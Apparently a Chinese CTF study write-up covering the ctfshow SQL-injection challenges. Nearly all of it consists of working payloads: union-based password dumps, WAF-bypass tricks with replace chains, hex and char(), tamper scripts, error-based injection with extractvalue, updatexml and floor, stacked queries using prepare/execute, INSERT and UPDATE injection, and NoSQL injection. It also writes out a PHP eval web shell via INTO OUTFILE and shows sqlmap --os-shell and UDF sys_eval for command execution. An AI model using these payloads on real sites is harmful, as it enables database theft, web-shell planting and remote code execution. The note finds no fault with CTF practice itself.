information_schema.columns表结构
https://blog.csdn.net/cplvfx/article/details/108292814
information_schema.columns字段说明
https://blog.csdn.net/cplvfx/article/details/108292814
1 ‘ union select database(),group_concat(TABLE_SCHEMA),group_concat(TABLE_NAME) from information_schema.columns –+
一.select
1.过滤”flag”
1 | 从pos开始的位置,截取len个字符(空白也算字符)。 |
方法一:切割:
1 | 1' union select SUBSTR(database(),1),username,SUBSTR(group_concat(password),1) from ctfshow_user--+ |
然后爆破切割
方法二:加密(hex或base64)
1 | 1' union select database(),username,to_base64(group_concat(password)) from ctfshow_user--+ |
1 | 1' union select database(),username,hex(group_concat(password)) from ctfshow_user--+ |
2.过滤/flag|[0-9]/i
方法:replace
1 | replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!') |
1 | replace(replace(replace(replace(replace(replace(replace(replace(replace(replace("0123456789",'0',')'),'9','('),'8','*'),'7','%26'),'6','^'),'5','%25'),'4','$'),'3','%23'),'2','@'),'1','!') |
分别对应shift+数字
最终:
1 | -1' union select "username",replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','%26'),'6','^'),'5','%25'),'4','$'),'3','%23'),'2','@'),'1','!') from ctfshow_user4 --+ |
布尔盲注
trim盲注
3.过滤/[\x00-\x7f]/i
(1)时间盲注(二分法)(不要搞,会变得不幸)
1 | import requests |
(2)写木马(outfile和dumpfile)
1 | ?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23 |
(3)写入到文件,然后读取(最稳定)
1 | ' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+ |
4.过滤select
大小写绕过selEct
5.过滤空格
可以用这些代替空格
1 | %09 |
6.过滤了所有空格(/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i
)
-1'or(username)='flag
7.web183
1 | preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); |
语句:
1 | $sql = "select count(pass) from ".$_POST['tableName'].";"; |
count是计数
(1)like盲注
1 | tableName=`ctfshow_user`where(substr(pass,1,8))like('ctfshow{') |
1 | import requests |
(2)regexp 盲注
语法:where a regexp('b')
匹配a中是否有b
1 | tableName=`ctfshow_user`where`pass`regexp('ctfshow') |
然后一位一位盲注就行
或者用substr比对每一位(如like)
8.web184 return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
过滤单引号,所以'c'
用char(99)
代替
join on盲注
语法:
1 | SELECT Websites.id, Websites.name, access_log.count, access_log.date |
搜两个表的四列
取两个表满足 Websites.id=access_log.site_id
的部分
(因为不能合并同一个数据库,所以要用as附名)
1 | tableName=ctfshow_user as a inner JOIN ctfshow_user as b ON (substr(b.pass,1,1)regexp(char(99))) |
char(99)时返回22,其余返回0
1 | import requests |
like盲注:
1 | import requests |
9.web185return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
过滤数字
可以用n个true相加来代替数字
1 | import requests |
10.web187
md5碰撞
11.web188
sql弱比较username=0&password=0
或username=1||1&password=0 (||可换成or)
12.web189
文件读取
load_file()payload:username=if(load_file(’/var/www/html/api/index.php’)regexp(‘ctfshow{’),0,1)&password=0
13.布尔盲注
1 | import requests |
14.堆叠注入
堆叠:多条sql语句叠到一起执行(用;分开)
字符串flag可以换成0x666c6167
然后就不用引号也能对比select username from user where username=0x666c6167
web195
直接重置密码,然后登录0;update`ctfshow_user`set`pass`=999
web196
只接搜1;select(7)7
web201-213
sqlmap使用
1.自定义referer和user-agent
–referer和–user-agentsqlmap -u http://80ab0628-b6f3-42e6-a6b3-9b62fde337fc.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://80ab0628-b6f3-42e6-a6b3-9b62fde337fc.challenge.ctf.show/sqlmap.php --dbs
爆整个表
1 | sqlmap -u http://80ab0628-b6f3-42e6-a6b3-9b62fde337fc.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://80ab0628-b6f3-42e6-a6b3-9b62fde337fc.challenge.ctf.show/sqlmap.php -D ctfshow_web -dump-all |
2.post请求
–data=””
1 | sqlmap -u http://590bf0e8-775c-4872-813d-c3580af7f06d.challenge.ctf.show/api/ --data="id=1" --user-agent sqlmap --referer http://e4fac56f-d2b4-460b-b90b-4c3f185db0c0.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump |
3.put请求
–method=PUT
–headers=”Content-Type: text/plain” :使用PUT请求,还要设置Content-Type头,否则提交会变成表单提交
1 | sqlmap -u http://http://d6d76a0c-6c24-44ec-b760-008da1e7b896.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --user-agent sqlmap --referer http://http://d6d76a0c-6c24-44ec-b760-008da1e7b896.challenge.ctf.show/sqlmap.php -D ctfshow_web -dump-all |
4.设置cookie
1 | sqlmap -u http://43c59607-0351-490a-af34-db404a9e556c.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --cookie="PHPSESSID=ugt99tnme5e3d2dqqo973745rh; ctfshow=ada92d5de13dd376fa0a6dd768555373" --user-agent sqlmap --referer http://43c59607-0351-490a-af34-db404a9e556c.challenge.ctf.show/sqlmap.php -D ctfshow_web -dump-all |
5.api调用需要鉴权
查看network 发现一次性发了两个包,比之前多了一个/getToken.php
也就是说在请求去查表的时候是会先请求一个/getToken.php
意思是,在查表之前,要访问getToken.php,然后getToekn.php是要给查表的时候用的。
–safe-url就能够在我们去查之前,访问一下getToken
其次为了设置访问次数,还需要用到–safe-freq
1 | sqlmap -u http://a991a0ba-d586-46cd-9aef-37208ffb71ad.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://a991a0ba-d586-46cd-9aef-37208ffb71ad.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://a991a0ba-d586-46cd-9aef-37208ffb71ad.challenge.ctf.show/sqlmap.php -D ctfshow_web -dump-all |
6.tamper脚本
–tamper
逻辑:
1 | function waf($str){ |
自带:
1 | apostrophemask.py 用utf8代替引号 |
绕过空格
1 | sqlmap -u http://4330d8ff-8bb8-4757-ba4e-f48a52283ada.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://4330d8ff-8bb8-4757-ba4e-f48a52283ada.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4330d8ff-8bb8-4757-ba4e-f48a52283ada.challenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow_web -dump-all |
两个脚本:绕过空格+双写select
双写绕过只能自己写脚本(实际上sqlmap默认使用大写SELECT,而ctfshow检测的是小写)
1 | sqlmap -u http://9eae5424-c3d3-4fe4-ac20-c02b8c89b867.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://9eae5424-c3d3-4fe4-ac20-c02b8c89b867.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://9eae5424-c3d3-4fe4-ac20-c02b8c89b867.challenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow_web -dump-all |
双写绕过脚本https://blog.csdn.net/qq_38154820/article/details/123499319
1 | #!/usr/bin/env python |
使用:
1 | sqlmap -u http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/sqlmap.php --tamper="space2comment.py,mydouble.py" -D ctfshow_web -dump-all |
过滤空格 * = 其中空格我们可以用%09绕过 然后=可以用like
这里就需要去修改脚本
在/usr/share/sqlmap/tamper/下,复制一个space2comment.py,把名字改成web209.py
内容:
1 | #!/usr/bin/env python |
1 | sqlmap -u http://9cff4b5e-4d18-437b-917c-541d8fd3dc3e.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://9cff4b5e-4d18-437b-917c-541d8fd3dc3e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://9cff4b5e-4d18-437b-917c-541d8fd3dc3e.challenge.ctf.show/sqlmap.php --tamper=web209.py --threads=3 -D ctfshow_web -dump-all |
返回内容:return strrev(base64_decode(strrev(base64_decode($id))));
对id进行base64解码,反转字符串,解码,再反转
所以只需要反向操作:
1 | base64.b64encode(base64.b64encode(payload_ret[::-1].encode()).decode()[::-1].encode()).decode() |
web210.py
1 | #!/usr/bin/env python |
1 | sqlmap -u http://83901b1a-a960-4ecc-9a03-78091d95607d.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://83901b1a-a960-4ecc-9a03-78091d95607d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://83901b1a-a960-4ecc-9a03-78091d95607d.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump |
sqlmap写木马
使用–os-shell 一键getshell
原理是into outfile函数将一个可以用来上传的文件写到网站的根目录下。然后一个文件是命令执行,一个是上传文件
1 | sqlmap -u http://87581191-b5cf-44fb-9b97-853a8824882d.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://87581191-b5cf-44fb-9b97-853a8824882d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://87581191-b5cf-44fb-9b97-853a8824882d.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 --os-shell |
一系列操作之后真的就拿到shell了(上传和连接一体化)!!!
至web221(跳过时间盲注,太吃靶机配置,绝对不可能考,甚至平时做题都是玄学)
7.报错注入$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
limit注入
P神的文章 https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数
报错注入格式:
1 | mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
其中version()可以换成database()
PROCEDURE ANALYSE() 会让 MySQL 帮你去分析你的字段和其实际的数据,并会给你一些有用的建议。只有表中有实际的数据,这些建议才会变得有用,因为要做一些大的决定是需要有数据作为基础的。
extractvalue报错注入的原理:
https://blog.csdn.net/weixin_46145442/article/details/110254238
1 | extractvalue('XML_document','Xpath_string') |
1 | 用concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串 |
答案:
1 | url/api/index.php?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1); |
同样可以使用updatexml进行报错注入
1 | url/api/index.php?page=1&limit=1 procedure analyse(updatexml(rand(),concat(0x3a,database()),1),1); |
updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
8.group by 注入
$sql = select * from ctfshow_user group by $username;
报错注入:
参考https://www.secpulse.com/archives/140616.html
https://www.cnblogs.com/xdans/p/5412468.html
使用u=concat(database(),floor(rand(0)*50))
有回显
可以通过这种方法盲注
1 | import requests |
9.堆叠注入
1 | if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){ |
解法一(handle)
1 | HANDLER tbl_name OPEN [ [AS] alias] |
1 | ?username=';show tables;%23 |
解法二(预编译)
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)
1 | Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;# |
或(过滤了show)(这个方法非常常用)
先用bp把语句转成十六进制select * from ctfsh_ow_flagas
to0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173
1 | ';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;# |
看information_schema.routines(存储过程和函数)
存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。
感觉像自定义的系统变量
所以查看这个表api/index.php?username=';PREPARE a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE a;
看到flag是写到getFlag中
调用他的方法就是';call getFlag;
10.update注入
1 | SQL UPDATE 语法 |
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
1 | 名 |
11.insert注入$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');"
直接添加数据
1 | username=helloworld',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1 |
过滤了or,所以information_schema就用不了了,可以用mysql.innodb_table_stats来查表名
于是用之前的mysql.innodb_table_stats来替代
1 | username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1 |
12.delete注入username=',(select flagass23s3 from ctfshow_web.flag))#&password=1
api/delete.php中,注入点post发包id参数
然后发现这里也没回显的位置,现在就是盲注。时间盲注或者bool盲注。时间盲注之前有现成的脚本,就用时间了。然后查询语句是按id去一条条查,所以注意时间
13.file文件读写$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
1 | SELECT ... INTO OUTFILE 'file_name' |
可以用FIELDS TERMINATED BY、 LINES STARTING BY、 LINES TERMINATED BY写马
1 | 在api/dump.php传POST |
14.报错注入$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
updatexml()和extractvalue():
1 | /api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+ |
后面的1,30和20,30是打印报错信息会有省略,所以做截取操作
过滤updatexml extractvalue:
1 | 1.floor()、round()、ceil() |
floor报错,利用主键的重复实现报错,而且很明显,在web222已经讲到了
1 | /api/?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+ |
过滤updatexml extractvalue floor:
1 | /api/?id=' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa ), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+ |
改成round即可,需要注意的是字段名flag变成了flag?,表名和字段名都可以用反引号引起来,这是用来区分MYSQL的保留字与普通字符。所以最终的payload为
15.UDF注入$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
把dll文件写到目标机子的plugin目录
首先 1’; select @@plugin_dir; --+查出路径为/usr/lib/mariadb/plugin/
然后CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’; //导入udf函数
利用堆叠注入写进去
1 |
|
16.nosql
https://www.anquanke.com/post/id/97211
1 | /api/?id[]=flag |